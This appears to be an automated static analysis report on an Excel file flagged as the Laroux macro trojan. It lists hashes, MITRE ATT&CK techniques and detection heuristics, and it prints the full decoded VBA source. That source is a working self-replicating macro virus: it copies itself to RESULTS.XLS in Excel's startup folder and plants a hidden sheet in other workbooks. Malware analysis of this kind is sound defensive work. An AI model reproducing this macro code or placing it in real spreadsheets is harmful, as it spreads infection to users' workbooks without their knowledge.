Xls.Trojan.Laroux-32 — Office (OLE) malware analysis

Static analysis result for SHA-256 ad63f6315e7cde79…

MALICIOUS

Office (OLE)

25.0 KB Created: 2013-03-11 07:40:53 Authoring application: WPS Office ¸öÈË°æ First seen: 2015-10-01
MD5: 8f3e98afd2d474c35c390983149cd2c0 SHA-1: 1081c288cd0bec9387c284ca5672b63a1c63dbb8 SHA-256: ad63f6315e7cde79423decf1ba4691d4484494acda5b2399dc8b19ee2f56235e
148 Risk Score

Malware Insights

Xls.Trojan.Laroux-32 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic 'Xls.Trojan.Laroux-32' strongly indicates this is a known malicious Excel macro trojan. The VBA script contains an 'auto_open' subroutine which, upon opening the document, attempts to copy the workbook to the startup path as 'RESULTS.XLS'. This action is a common persistence mechanism for malware.

Heuristics 3

  • ClamAV: Xls.Trojan.Laroux-32 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-32
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1899 bytes
SHA-256: 7fd4563796bcd1ebde8da316aeaaaf7bc3e2249e243681153492406f3622230d
Detection
ClamAV: Xls.Trojan.Laroux-32
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Results"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

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